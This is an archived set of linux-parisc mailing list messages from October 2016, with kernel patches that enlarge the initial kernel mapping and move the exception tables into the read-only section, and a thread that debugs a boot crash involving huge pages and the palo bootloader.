	id 1btAHL-0005zH-Al
	for glpp-linux-parisc@m.gmane.org; Sun, 09 Oct 2016 11:20:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753461AbcJIJUV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 9 Oct 2016 05:20:21 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:50145 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753357AbcJIJUU (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 9 Oct 2016 05:20:20 -0400
Original-Received: from p100.box ([92.203.45.129]) by mail.gmx.com (mrgmx001) with
 ESMTPSA (Nemesis) id 0Ld0fQ-1bBL5930JU-00iDfR; Sun, 09 Oct 2016 11:20:11
 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:+udsgSacrDtOeNE5VldLfM34/soHwxjcyWgE0+qh3XNdy5LE2C2
 s2HK41SsZrP+6MrK+Pb1mTPe+9XL89hW1Ya1/GJqRKMqpndPTGspWQMy7BllIZR2n3U2R2P
 Nlf19gshDQ/eng5Vbl7gbK9zufWLXUZ80oKkI/F6REnyAruQBjz8FIfJ2jP7teRQ5crUQ38
 A0wskU7oh/X0GaDs0snIQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:eTHN0bfW3+Y=:FtZ2wDch1RJi7v1iTjNsSR
 lHYAiNHsWZONKYcbRtzuswIIPL6yq4f+YcD/5gSNmRHXzBX+z187TbeE95BHoerKPcJKyxrMt
 tGzlQbKcwSF8ZVoHWwMLPXuvn7YTWyb/828HphHMXj0SZMASPFRznqpd3ApbGraW9vqUmic/3
 l2GLBu6/SQIlGxGkkOJwGwHfqc6GK/0gbypmmkHBeKtRGUXfPGQtKBmLMyG5JHxb5/Is2OjWv
 k82AHlbOu9Tva59BkGH1R6jlESMYnLzKcwDrdpoZhH0rq4hTspn73c62OdZ21BsUerdd9iy2S
 jiyvQEzB7zkuEIJGwZcwtgqY39EujXeO4z/eUcqLmY4l77qIO3p08uLLMBeSwP1jm0FQj3ieK
 5WK/0w3rXBxcXOBuRJ8c4i5tICTTkcri5ibv3YQx0HtBFHyxzmvlqDvxVGb/0vt3lQNNTsW1C
 Ao/7gmZWtdtG9MBXpImt8Gl8+CG/7amSC3G0vNY8agrS0SzwZLui5DrpWvpaUuWkjcfPBbU/v
 zAb7VAKImJOqJbY5OEUvKgWHzWLwkeXRCF7Sx94ShslJSeKQtxJiWNwQLgcGO3S/C9YDWO4wY
 iQ+Lb8/IxnjyrGWkmuwbuffmCd4F6d2/IX/s7DoVziU0ascMm3h/z26g6aTMxEoAfpciPM6Tp
 /l7jdNEkoSxKBQcUaIEAz7CiAlKWIdadutMQFFjZtoDMsf1Bb4XqzomFl5wD7WZpvhuBezgtx
 vYgwZHk4q/EC/flfu9TR/z4ciRjEEjk87T7HrBgFGuglMDB6R2XZYgsZQ70=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26987
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26987>

Increase the initial kernel default page mapping size for 64-bit kernels to
64 MB and for 32-bit kernels to 32 MB.

Due to the additional support of ftrace, tracepoint and huge pages the kernel
size can exceed the sizes we used up to now.

Cc: stable@vger.kernel.org # 4.4+
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index e44bdb9..c2c43f7 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -83,10 +83,10 @@ static inline void purge_tlb_entries(struct mm_struct *mm, unsigned long addr)
 	printk("%s:%d: bad pgd %08lx.\n", __FILE__, __LINE__, (unsigned long)pgd_val(e))
 
 /* This is the size of the initially mapped kernel memory */
-#if defined(CONFIG_64BIT) || defined(CONFIG_SMP)
-#define KERNEL_INITIAL_ORDER	25	/* 1<<25 = 32MB */
+#if defined(CONFIG_64BIT)
+#define KERNEL_INITIAL_ORDER	26	/* 1<<26 = 64MB */
 #else
-#define KERNEL_INITIAL_ORDER	24	/* 1<<24 = 16MB */
+#define KERNEL_INITIAL_ORDER	25	/* 1<<25 = 32MB */
 #endif
 #define KERNEL_INITIAL_SIZE	(1 << KERNEL_INITIAL_ORDER)
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Move exception tables into read-only section
Date: Sun, 9 Oct 2016 11:20:44 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <20161009092044.GA4484@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1476005269 3266 195.159.176.226 (9 Oct 2016 09:27:49 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 9 Oct 2016 09:27:49 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 09 11:27:45 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1btAOK-0006Sq-S0
	for glpp-linux-parisc@m.gmane.org; Sun, 09 Oct 2016 11:27:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753478AbcJIJ1f (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 9 Oct 2016 05:27:35 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:58725 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753418AbcJIJ1e (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 9 Oct 2016 05:27:34 -0400
Original-Received: from p100.box ([92.203.45.129]) by mail.gmx.com (mrgmx101) with
 ESMTPSA (Nemesis) id 0LvyAz-1aoazc1LNV-017keG; Sun, 09 Oct 2016 11:20:49
 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:oPxzZzx1Btqq+Qp7H9y4AEae+3BJ19LCtIcaeNAAhGm++/sx1g0
 YkSEdkYGTf8Mx/mp718Sa6KDhGEpJ+JO7iioc+y8kq4YXDj4geqqX62+drpI56Fybz1YOfo
 OtTYLQz7SLWZLlwtiUrLd0JVrJCW0T8Dqf4k1UYlHwqk1u389t7Ao8Pup01TWPY5l7yb8l7
 zfC6E3OiIE9YkxsNiqA1Q==
X-UI-Out-Filterresults: notjunk:1;V01:K0:q0JtZbQrJB0=:6M0Y3M+RkpG7KVqpNM4kre
 sLz3J2GR9A953zsOpK///3lWsAPZMpI3v5sl7QoRAvD0hLFLKzoSLOvxnkwYTULhdz2Px7PEN
 aUKfMyNDayVQg6R7rMGMN1L/CXn1avhPthvZ5w/sZXnuFJ+giUXHCvMEUU35Z1BGuwVPhD/7+
 oyjOFdYWEZaNLh64VifutgRTCgIYZcnJJRRfreVQY1AZgyXpWEU5IhHsC4M+uQ7+9eNpCTghl
 NqRQbP+sU5XVeejRek4Bn5NgwXSq5Ewk65RjDfNPGpPlRYfqAgi5xD317CBuOydUMgXytPKpi
 MswZwWcNEsOj9geWI6MVmdANQOXW461yu9yyAEMKGMceQkYuLa2SkPjxUEcq/WMFi1CPoIB+X
 rdKonKBqNfPIp/TSeRbwnx5mHdhHp180WIT6FKvejUFqdl3HQYudT73g3Stsgn+c3yl0+fYxl
 1XovxaKiFLvfe4USnzXTGFfLxMaWKK13XT0mEjdToScGjfLqzj0wupJ0M5pmbfPx1dXM2+IKw
 7KYwBPAWhvbpHb6AbHroi7Rpcl8FJfx/pU4ehQgVkPltwN9ntAu0rgEMKU9d2fqMQtJqWyvYO
 T1Xe/uVST0rpIVlV8ntKqC5qWKlVafOrEOidt1l/H1UetvUDAH5zYTPFxR55DTVVs4wp9QIZV
 BZ9QGbG951eewPDeH+a1S7I77t56zk2K4Q0/FPZ7TJjAypVisxLpNHpMmLdO+4b3vV7NtyE+y
 sGAgwqvV+5xZPcFqq53fcfLfk7VF5b/CoDEpgSfgpiapki/hqZ1CI7kIZTI=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26988
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26988>

Since BUILDTIME_EXTABLE_SORT is enabled, the exception tables can move
into the read-only section.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
index 9a44e92..3d6ef1b 100644
--- a/arch/parisc/kernel/vmlinux.lds.S
+++ b/arch/parisc/kernel/vmlinux.lds.S
@@ -109,6 +109,10 @@ SECTIONS
 
 	RO_DATA_SECTION(8)
 
+	/* RO because of BUILDTIME_EXTABLE_SORT */
+	EXCEPTION_TABLE(8)
+	NOTES
+
 	/* unwind info */
 	.PARISC.unwind : {
 		__start___unwind = .;
@@ -124,9 +128,6 @@ SECTIONS
 	. = ALIGN(HUGEPAGE_SIZE);
 	data_start = .;
 
-	EXCEPTION_TABLE(8)
-	NOTES

From - Thu Nov 08 21:39:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: parisc crash on boot with 4.8+git
Date: Sun, 9 Oct 2016 10:01:03 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <ADF65437-3E9A-493C-89B5-E7C8A107BA92@bell.net>
References: <alpine.LRH.2.20.1610090042580.12761@math.ut.ee> <57F96010.1040309@gmx.de> <alpine.LRH.2.20.1610091032210.12761@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1476021941 4586 195.159.176.226 (9 Oct 2016 14:05:41 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 9 Oct 2016 14:05:41 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
        Linux Kernel list <linux-kernel@vger.kernel.org>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 09 16:05:37 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1btEjO-0000Es-5C
	for glpp-linux-parisc@m.gmane.org; Sun, 09 Oct 2016 16:05:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751487AbcJIOFf convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 9 Oct 2016 10:05:35 -0400
Original-Received: from simcoe209srvr.owm.bell.net ([184.150.200.209]:51535 "EHLO
        torfep10.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751130AbcJIOFf (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 9 Oct 2016 10:05:35 -0400
Original-Received: from bell.net torfep01 184.150.200.158 by torfep01.bell.net
          with ESMTP
          id <20161009140104.PGBA28435.torfep01.bell.net@torspm01.bell.net>;
          Sun, 9 Oct 2016 10:01:04 -0400
Original-Received: from [192.168.2.10] (really [70.54.56.11]) by torspm01.bell.net
          with ESMTP
          id <20161009140103.BBH1164.torspm01.bell.net@[192.168.2.10]>;
          Sun, 9 Oct 2016 10:01:03 -0400
In-Reply-To: <alpine.LRH.2.20.1610091032210.12761@math.ut.ee>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020202.57FA4DA0.0005,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26989 gmane.linux.kernel:2323652
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26989>

On 2016-10-09, at 5:03 AM, Meelis Roos wrote:

>>> Linux version 4.8.0-11288-gb66484c (mroos@rp3410) (gcc version 5.4.0 (Gentoo 5.4.0 p1.0) ) #81 Sat Oct 8 20:40:24 EEST 2016
>>> unwind_init: start = 0x4076e980, end = 0x407a7060, entries = 14446
>>> The 64-bit Kernel has started...
>>> Kernel default page size is 4 KB. Huge pages enabled with 1 MB physical and 2 MB virtual size.

The first thing I would suspect is the enabling of huge pages.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: parisc crash on boot with 4.8+git
Date: Mon, 10 Oct 2016 00:09:44 +0300 (EEST)
Lines: 29
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.20.1610092356270.32571@math.ut.ee>
References: <alpine.LRH.2.20.1610090042580.12761@math.ut.ee> <57F96010.1040309@gmx.de> <alpine.LRH.2.20.1610091032210.12761@math.ut.ee> <57FA089F.1020301@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1476041968 7724 195.159.176.226 (9 Oct 2016 19:39:28 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 9 Oct 2016 19:39:28 +0000 (UTC)
User-Agent: Alpine 2.20 (LRH 67 2015-01-07)
Cc: Linux Kernel list <linux-kernel@vger.kernel.org>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 09 21:39:23 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1btJwM-0000zA-QY
	for glpp-linux-parisc@m.gmane.org; Sun, 09 Oct 2016 21:39:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752171AbcJITjT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 9 Oct 2016 15:39:19 -0400
Original-Received: from smtp1.it.da.ut.ee ([193.40.5.66]:52152 "EHLO smtp1.it.da.ut.ee"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751697AbcJITjS (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 9 Oct 2016 15:39:18 -0400
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
        by smtp1.it.da.ut.ee (Postfix) with ESMTP id 18C5690110;
        Sun,  9 Oct 2016 22:39:14 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
        id 1730F221634; Mon, 10 Oct 2016 00:09:44 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
        by math.ut.ee (Postfix) with ESMTP id 5B0852213FF;
        Mon, 10 Oct 2016 00:09:44 +0300 (EEST)
In-Reply-To: <57FA089F.1020301@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26990 gmane.linux.kernel:2323750
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26990>

> >> Even if you fix the kernel with the patches above, you still may run
> >> into the palo bug. I've just pushed a fix for it into the palo tree:
> >> https://git.kernel.org/cgit/linux/kernel/git/deller/palo.git/commit/?id=70bd7a9a41e318c0575755a78c4d18ad97495c47
> >>
> >> If you rebuild palo, please make sure to install the new ipl boot loader into
> >> the palo partition of your boot disc. palo should report at bootup version 1.96.
> 
> Same here. Please pull latest version, and install it:
> https://git.kernel.org/cgit/linux/kernel/git/deller/palo.git/

palo ipl 1.96 http://www.parisc-linux.org - Sun, 08 Oct 2016 22:40:31 +0100

Just palo with newst upstream kernel git did not change anything, so 
it's not palo.


Pulled 
git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git 
but it seems to be alreay up to date - these commits are in my tested 
upstream that broke the booting?


-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: parisc crash on boot with 4.8+git
Date: Mon, 10 Oct 2016 00:13:09 +0300 (EEST)
Lines: 16
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.20.1610100012470.32571@math.ut.ee>
References: <alpine.LRH.2.20.1610090042580.12761@math.ut.ee> <57F96010.1040309@gmx.de> <alpine.LRH.2.20.1610091032210.12761@math.ut.ee> <ADF65437-3E9A-493C-89B5-E7C8A107BA92@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1476042225 31338 195.159.176.226 (9 Oct 2016 19:43:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 9 Oct 2016 19:43:45 +0000 (UTC)
User-Agent: Alpine 2.20 (LRH 67 2015-01-07)
Cc: Helge Deller <deller@gmx.de>,
        Linux Kernel list <linux-kernel@vger.kernel.org>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 09 21:43:40 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1btK0K-0005Vt-7u
	for glpp-linux-parisc@m.gmane.org; Sun, 09 Oct 2016 21:43:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752190AbcJITnX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 9 Oct 2016 15:43:23 -0400
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:37454 "EHLO smtp2.it.da.ut.ee"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752168AbcJITnW (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 9 Oct 2016 15:43:22 -0400
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
        by smtp2.it.da.ut.ee (Postfix) with ESMTP id 1616F73D60D;
        Sun,  9 Oct 2016 22:42:39 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
        id 31E30221634; Mon, 10 Oct 2016 00:13:09 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
        by math.ut.ee (Postfix) with ESMTP id 828982213FF;
        Mon, 10 Oct 2016 00:13:09 +0300 (EEST)
In-Reply-To: <ADF65437-3E9A-493C-89B5-E7C8A107BA92@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26991 gmane.linux.kernel:2323752
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26991>

> >>> Linux version 4.8.0-11288-gb66484c (mroos@rp3410) (gcc version 5.4.0 (Gentoo 5.4.0 p1.0) ) #81 Sat Oct 8 20:40:24 EEST 2016
> >>> unwind_init: start = 0x4076e980, end = 0x407a7060, entries = 14446
> >>> The 64-bit Kernel has started...
> >>> Kernel default page size is 4 KB. Huge pages enabled with 1 MB physical and 2 MB virtual size.
> 
> The first thing I would suspect is the enabling of huge pages.

There seems to be no config option to disable that for test?

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: parisc crash on boot with 4.8+git
Date: Sun, 9 Oct 2016 21:50:55 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <57FA9F9F.8030501@gmx.de>
References: <alpine.LRH.2.20.1610090042580.12761@math.ut.ee>
 <57F96010.1040309@gmx.de> <alpine.LRH.2.20.1610091032210.12761@math.ut.ee>
 <ADF65437-3E9A-493C-89B5-E7C8A107BA92@bell.net>
 <alpine.LRH.2.20.1610100012470.32571@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1476042680 22271 195.159.176.226 (9 Oct 2016 19:51:20 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 9 Oct 2016 19:51:20 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
Cc: Linux Kernel list <linux-kernel@vger.kernel.org>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: Meelis Roos <mroos@linux.ee>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 09 21:51:15 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1btK7k-0003rr-Qe
	for glpp-linux-parisc@m.gmane.org; Sun, 09 Oct 2016 21:51:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752335AbcJITvG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 9 Oct 2016 15:51:06 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:52172 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752327AbcJITvF (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 9 Oct 2016 15:51:05 -0400
Original-Received: from [192.168.20.60] ([92.203.45.129]) by mail.gmx.com (mrgmx001)
 with ESMTPSA (Nemesis) id 0M3RVA-1b2SS93Qh6-00qyxY; Sun, 09 Oct 2016 21:50:57
 +0200
In-Reply-To: <alpine.LRH.2.20.1610100012470.32571@math.ut.ee>
X-Provags-ID: V03:K0:PmC0oXJKRPjebYFgYlXDKbsuWwR3LMYcWTqMi2z7muDx7bWKmW3
 fbIIVUxheVNbmNnbc2m9dn23SpROyvYlZHEm0nB4pxcFGvmeyS2GiwKm/IZ1qwxmumZPPWR
 rfPooc43K+obBffuPbI5qFk6lnSyxQ8jHwTIMfjZJhrVS63qiohOxGJdlPoRkKsETd1Yg4k
 3WzElivngh4Ckmnmlq6iw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:s7I2gXc3VpQ=:lciOVyjsoNkPvKjXBo5pSv
 iC/+gf1noRiCH+fc533prvQICA4+erwRcXjNVnggEQY7sYVfWIjxfKuZvbI31p8dIDkzWIZbX
 xA6oFMQIjJMNCnMeztdSxQbDyg+rfjpFkLLFYG8nKcAZixjuI6BpGhBAzTlvu9EqbPnFkNooy
 HDNHgAb9s5SFudDYzY8/Kjyqas2FFI4LAeGjVBo9WfmRCVmp9w406RTzF590x+END5BS6AiOb
 ToRtEgd9nubeAAvC2aWayIB/pmBGWrXiCw0r6uFK0UOb0V/whkmCRh6ZXmgIpJnU6GUtRS89n
 lpE0/RrdbMlV9VqsQMt1IXQSJfML1vt1VI/aB9H+94ApvB+ZxVbjUF2GzsTWVDgjtTb98cA2i
 tase32FcSZXtewB8v5PBjAg2xMiBikHCX0CtelCOPFHmUHmV5GYmPPrJushJVTOWQvoJKNO7X
 zzA1nUW+81lDnP9e1WD1DFy7GQAjsqL/xZphii7655NeaYEhUT+Xakkx4goebnHmw/2lNpHr+
 4eGs1YOSK3WgO9gYXbHlLuAy2hLlGOnsGG05EY50m6kkcmBKnaVmMTxj3owU3AZ7TKXofKG3s
 Ky66vuVWjmNnXWgJf8Rqmql0oITiGiAOCy0KmOILcIjn8eWUkxbfwkb/ATxgQT0ldCve+gre8
 Uqt0LNzy5g1xrnmK7zs1Yg4vvWjTtKJobWegX5Y70RRUzJwXZrjbl1GVlp8qcjGwN2LzGZTk9
 5NiMGsAprYh1Rr5MiXpeF2W3sMlhWn3x2eB7Wtnt8KBIpcjj0134/MbjEe8MF8hhimz6Jx7C 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26992 gmane.linux.kernel:2323753
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26992>

On 09.10.2016 23:13, Meelis Roos wrote:
>>>>> Linux version 4.8.0-11288-gb66484c (mroos@rp3410) (gcc version 5.4.0 (Gentoo 5.4.0 p1.0) ) #81 Sat Oct 8 20:40:24 EEST 2016
>>>>> unwind_init: start = 0x4076e980, end = 0x407a7060, entries = 14446
>>>>> The 64-bit Kernel has started...
>>>>> Kernel default page size is 4 KB. Huge pages enabled with 1 MB physical and 2 MB virtual size.
>>
>> The first thing I would suspect is the enabling of huge pages.
> 
> There seems to be no config option to disable that for test?
 
CONFIG_HUGETLBFS=n

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: parisc crash on boot with 4.8+git
Date: Sun, 9 Oct 2016 21:54:33 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <57FAA079.5010502@gmx.de>
References: <alpine.LRH.2.20.1610090042580.12761@math.ut.ee>
 <57F96010.1040309@gmx.de> <alpine.LRH.2.20.1610091032210.12761@math.ut.ee>
 <57FA089F.1020301@gmx.de> <alpine.LRH.2.20.1610092356270.32571@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1476042894 25121 195.159.176.226 (9 Oct 2016 19:54:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 9 Oct 2016 19:54:54 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
Cc: Linux Kernel list <linux-kernel@vger.kernel.org>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 09 21:54:49 2016
